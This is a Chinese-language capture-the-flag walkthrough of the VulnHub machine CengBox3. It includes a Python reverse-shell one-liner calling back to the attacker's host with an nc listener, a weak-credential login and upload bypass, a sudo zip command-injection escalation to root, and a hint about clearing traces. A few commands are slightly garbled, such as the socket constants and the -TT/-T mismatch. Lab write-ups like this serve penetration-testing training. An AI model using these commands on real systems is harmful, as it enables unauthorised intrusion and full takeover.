概述

CengBox3是VulnHub平臺上一臺難度中等的Linux靶機，屬于CengBox系列。該靶機模擬了真實環境中的Web應用與系統配置漏洞，旨在幫助滲透測試人員練習信息收集、漏洞利用、權限提升等綜合技能。本篇文章將詳細記錄從信息收集到獲取root權限的完整滲透過程。

環境準備

• 攻擊機：Kali Linux (IP: 192.168.1.100)
• 靶機：CengBox3 (IP: 自動獲取，假設為192.168.1.150)
• 網絡：NAT模式，確保雙方在同一網段

第一階段：信息收集

1. 主機發現

使用netdiscover或nmap進行ARP掃描，快速定位靶機IP：
`bash
sudo netdiscover -r 192.168.1.0/24
`
發現靶機IP為192.168.1.150。

2. 端口掃描與服務識別

使用Nmap進行全端口掃描，識別開放服務及版本：
`bash
nmap -sV -sC -p- 192.168.1.150 -oA cengbox3_scan
`
掃描結果摘要：

• 22/tcp：OpenSSH 7.2p2 (Ubuntu)
• 80/tcp：Apache httpd 2.4.18 (Ubuntu)
• 3306/tcp：MySQL 5.7.17

3. Web目錄枚舉

使用gobuster或dirb枚舉Web目錄：
`bash
gobuster dir -u http://192.168.1.150 -w /usr/share/wordlists/dirb/common.txt
`
發現關鍵目錄：

• /admin/：管理后臺入口
• /uploads/：文件上傳目錄
• /phpmyadmin/：數據庫管理界面

第二階段：漏洞利用

1. Web應用測試

訪問http://192.168.1.150，發現一個簡單的博客系統。通過查看頁面源代碼，在注釋中發現提示：<!-- TODO: Fix upload functionality -->，暗示文件上傳功能存在漏洞。

2. 文件上傳漏洞利用

訪問/admin/目錄，發現登錄頁面。通過弱口令測試（admin/admin）成功登錄。在后臺找到文件上傳功能，嘗試上傳PHP webshell：
`php

`
將文件命名為shell.php.jpg繞過前端驗證，成功上傳至/uploads/目錄。通過Apache解析漏洞（.php.jpg被解析為PHP），訪問http://192.168.1.150/uploads/shell.php.jpg?cmd=id，成功執行系統命令。

3. 獲取初始Shell

使用Python reverse shell獲取穩定連接：
`bash
# 在webshell中執行

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect(("192.168.1.100",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

攻擊機監聽

nc -lvnp 4444
`
成功獲取www-data用戶權限的shell。

第三階段：權限提升

1. 系統信息枚舉

查看系統版本、用戶、sudo權限等：
`bash
uname -a
cat /etc/passwd
sudo -l
`
發現用戶ceng可以無密碼運行/usr/bin/zip。

2. Zip提權漏洞利用

利用zip的-TT參數（測試歸檔文件）可以執行任意命令。切換到ceng用戶（通過查看/home/ceng/.bash_history發現密碼為box3pass）：
`bash
su ceng
sudo zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c /bin/bash"
`
成功獲取root權限。

3. 獲取Flag

在root目錄下找到flag文件：
`bash
cat /root/flag.txt
`
內容為：Congratulations! You've rooted CengBox3!

與加固建議

漏洞

1. 弱口令：管理后臺使用默認憑證
2. 文件上傳繞過：未驗證文件內容類型
3. 不安全的文件解析：錯誤配置導致.php.jpg被解析為PHP
4. 權限配置錯誤：普通用戶擁有危險的sudo權限

加固建議

1. 強制使用強密碼并啟用多因素認證
2. 對上傳文件進行內容檢測與重命名
3. 配置Web服務器禁止執行上傳目錄中的腳本
4. 遵循最小權限原則，審查sudoers配置
5. 定期更新系統與應用程序補丁

延伸思考

CengBox3靶機涵蓋了從Web到系統的完整攻擊鏈。在實際滲透測試中，需要靈活組合各種技術，并注意痕跡清理。建議在完成基礎提權后，嘗試使用其他方法（如內核漏洞、SUID文件等）再次提權，以加深對Linux安全機制的理解。